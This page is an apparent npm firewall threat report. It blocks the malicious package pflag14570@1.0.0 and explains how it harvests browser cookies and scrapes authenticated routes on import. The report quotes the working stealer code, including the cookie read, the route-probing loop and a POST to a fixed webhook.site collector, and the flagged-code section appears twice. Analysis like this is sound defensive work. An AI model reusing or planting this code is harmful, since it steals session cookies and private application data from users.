Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

pflag14570@1.0.0: Malicious npm security report (Block) | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Cookies, route contents, HTTP statuses, and matching flag values can be disclosed to the webhook operator.

View on npm All versions

registry / pflag14570 / 1.0.0

pflag14570@1.0.0

AI Security Review

scanned 20d ago · by lpm-firewall-ai

The package entrypoint harvests browser cookies and data from local application routes, then posts the results to an external webhook. It runs on import.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Loading or importing the package main entrypoint.

Impact

Cookies, route contents, HTTP statuses, and matching flag values can be disclosed to the webhook operator.

Mechanism

Browser data harvesting followed by external POST exfiltration.

Attack narrative

When the declared main file is imported in a browser-like environment, it reads document cookies, fetches ten local routes, extracts values matching a flag pattern, and POSTs the collected object to a fixed webhook.site URL. The behavior is automatic and has no legitimate exported interface or consent step.

AI rationale

Source inspection confirms automatic credential and application-data collection with exfiltration to a fixed third-party endpoint. The lack of install hooks does not mitigate the malicious import-time behavior.

Evidence

package.jsonindex.js

Network endpoints1

webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16341

Stop threats before they install.

Firewall

Threat feed
How it works
Policy

LPM

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in pflag14570 (npm)

Details

index.js is an IIFE that executes at module load, reads document.cookie, fetches a list of authenticated application paths (/profile, /admin, /api/me, /settings, and similar), extracts a flag-shaped substring from the responses, and POSTs the aggregated JSON to the hardcoded collector https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38. The package metadata is a stub with no legitimate documented function; the shipped body is a browser-context session-cookie stealer and endpoint scraper directed at a third-party attacker-controlled collector. ## Source: ghsa-malware (06175f7a39cb50eac8845d48ee3996962973a147480eeab9238f039a91d5da2f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory PACKAGE ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The main entrypoint immediately reads browser cookies and sends collected data to a fixed webhook.
It probes ten same-origin routes and extracts values matching a flag pattern from responses.
Importing the declared main file activates the asynchronous collection routine without a user-facing API.

Evidence against

The manifest has no npm lifecycle scripts.
No filesystem writes, shell commands, or persistence code were found.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsTrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 437 B of source, external domains: webhook.site

Source & flagged code

6 flagged · loading source

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: out.cookie=document.cookie; fetch('https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38',{method:'POST',body:JSON.stringify(out)});

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js fetch('https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38',{method:'POST',body:JSON.stringify(out)});

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

4out.cookie=document.cookie;

High

Ai Review Evidence

The main entrypoint immediately reads browser cookies and sends collected data to a fixed webhook.

index.jsView on unpkg · L4

8fetch('https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38',{method:'POST',body:JSON.stringify(out)});

High

Ai Review Evidence

The main entrypoint immediately reads browser cookies and sends collected data to a fixed webhook.

index.jsView on unpkg · L8

2const paths=['/profile','/','/flag','/admin','/dashboard','/home','/feed','/api/me','/api/profile','/settings']; let out={}; out.cookie=document.cookie; for(const p of paths){ try{const r=await fetch(p);out[p]=r.status+' '+(await r.text()).match(/DGA\{[^}]*\}/)?.[0];}catch(e){out[p]='ERR';}

High

Ai Review Evidence

It probes ten same-origin routes and extracts values matching a flag pattern from responses.

index.jsView on unpkg · L2

package.jsonView file

1{"name":"pflag14570","version":"1.0.0","main":"index.js"}

High

Ai Review Evidence

Importing the declared main file activates the asynchronous collection routine without a user-facing API.

package.jsonView on unpkg · L1

Findings

1 Critical5 High2 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidencepackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to pflag14570@1.0.0.

See version security history for other recorded verdicts.

Avoid installing pflag14570@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-01 04:45:48.357Z (UTC).

Source advisory published: 2026-09-21 03:33:01.000Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Trusted malware advisory MAL-2026-16341 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

Package metadata

npm

Version1.0.0

PublishedSep 17, 2026

Licensenone

Dependencies0

Integrityverified

Package size474 B

Files2

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact494 B · 2 files1 signature(s)

Install lifecycleNo scripts declared.

Behavioral surface

NetworkHighEntropyStringsTrivialUrlStringsNoLicense

LPM.dev Registry

© 2026 LPM

Source & flagged code

6 flagged

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: out.cookie=document.cookie; fetch('https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38',{method:'POST',body:JSON.stringify(out)});

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js fetch('https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38',{method:'POST',body:JSON.stringify(out)});

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

4out.cookie=document.cookie;

High

Ai Review Evidence

The main entrypoint immediately reads browser cookies and sends collected data to a fixed webhook.

index.jsView on unpkg · L4

8fetch('https://webhook.site/42c6d937-77c7-42a5-8678-ef06b4501e38',{method:'POST',body:JSON.stringify(out)});

High

Ai Review Evidence

The main entrypoint immediately reads browser cookies and sends collected data to a fixed webhook.

index.jsView on unpkg · L8

2const paths=['/profile','/','/flag','/admin','/dashboard','/home','/feed','/api/me','/api/profile','/settings']; let out={}; out.cookie=document.cookie; for(const p of paths){ try{const r=await fetch(p);out[p]=r.status+' '+(await r.text()).match(/DGA\{[^}]*\}/)?.[0];}catch(e){out[p]='ERR';}

High

Ai Review Evidence

It probes ten same-origin routes and extracts values matching a flag pattern from responses.

index.jsView on unpkg · L2

package.jsonView file

1{"name":"pflag14570","version":"1.0.0","main":"index.js"}

High

Ai Review Evidence

Importing the declared main file activates the asynchronous collection routine without a user-facing API.

package.jsonView on unpkg · L1